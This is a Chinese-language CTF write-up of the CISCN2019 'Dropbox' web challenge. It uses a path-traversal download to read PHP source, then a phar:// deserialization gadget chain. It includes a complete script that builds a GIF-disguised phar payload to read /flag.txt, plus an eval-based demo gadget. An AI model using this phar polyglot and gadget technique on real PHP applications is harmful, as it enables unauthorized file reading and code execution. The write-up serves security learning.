BUUCTF-WEB 【CISCN2019 华北赛区 Day1 Web1】Dropbox 1

考点:文件下载、反序列化题:使用利用phar://在file_get_contents读取文件

这个题照着别人wp做下来,还是有很多地方不懂,有点害怕审计代码,一连好几个文件,看来看去的,也看不太懂,很懵的感觉。这道题的后端操作,都抽象成了三个大类,保存在class.php文件中,在index.html、login.php这些页面,基本上就是包含了class.php 文件,很多操作就直接调用类方法,代码审计弱鸡的我自然看起来就费劲,不管怎样,还是总结下做题的流程。

分析

经过注册、登录,上传文件。直接来第一个关键的地方。

image-20210421112208290

image-20210421112251752

image-20210421112337064

经过一番操作后,发现存在文件下载漏洞,在点击下载功能后,进行抓包,会得到文件的内容,这里对index.php 进行了尝试,也直接得到了index.php 的源代码。

至于这里为什么要加 ../../ 两个回退。是因为在别人的wp中看到。

image-20210421112711352

接下来,开始读取相关文件的源代码进行代码审计。

image-20210421112920041

读取了6个文件的源代码,index.php 显示上传的文件,register.php 注册用户,login.php 登录,upload.php 文件上传,download.php 文件下载,delete.php 文件删除,class.php 为 基类,提供了三个大类,User、FileList、File 。其他的文件都是调用 class.php 里的方法,相当于把所有的方法都放在了class.php 的类中。

接下来贴几个关键的代码。

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

include "class.php";

if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}

$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}

if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>

download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp"); // 值

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

最核心的 class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

就是上面这些看起来费劲,理解不了。

这里就直接贴 制作phar 代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class User
{
public $db;

public function __construct()
{
$this->db = new FileList();
}
}

class FileList
{
private $files;
private $results;
private $funcs;

public function __construct()
{
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
}

class File
{
public $filename = '/flag.txt';
}

$user = new User();
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
# 设置stub
$phar->setStub("GIF98a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($user);
# 添加要压缩的文件及内容
$phar->addFromString('test.txt', "test");
# 签名自动计算
$phar->stopBuffering();

把生成的 test.phar 改成 test.gif ,然后上传

成功后 抓删除的包

1
phar://test.gif

image-20210421114144124

phar:// 协议在读取 phar文件时,会有进行反序列化的操作,当我们把序列化的内容放在setMetadata 中,再用phar:// 协议去读取,就会反序列化里面的内容。

在file_get_contents 函数中 用 phar:// 读取 phar文件 的演示

这是仿照别人wp构造的两个类,然后用file_get_contents 来读取 自己制作的phar文件

demo1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!-- 使用phar://进行反序列序列化-3-->
<?php
class Demo1{
public $sub;
public function __construct($sub)
{
$this->sub = $sub;
}
}
class Demo2{
public $s;
public function __construct($s)
{
$this->s = $s;

}
public function __destruct()
{
// TODO: Implement __destruct() method.
eval($this->s);
}
}

file_get_contents('phar://demo1.phar');
?>

demo2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<!-- 使用phar://进行反序列序列化-2-->

<?php

class Demo1
{
public $sub;

public function __construct()
{
$this->sub = new Demo2('phpinfo();');
}
}

class Demo2
{
public $s;

public function __construct($s)
{
$this->s = $s;

}

public function __destruct()
{
// TODO: Implement __destruct() method.
eval($this->s);
}
}

$user = new Demo1();
@unlink("demo1.phar");
$phar = new Phar("demo1.phar");
$phar->startBuffering();
# 设置stub
$phar->setStub("GIF98a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($user);
# 添加要压缩的文件及内容
$phar->addFromString('test.txt', "test");
# 签名自动计算
$phar->stopBuffering();


?>

执行demo1 的时候会输出

image-20210421115102127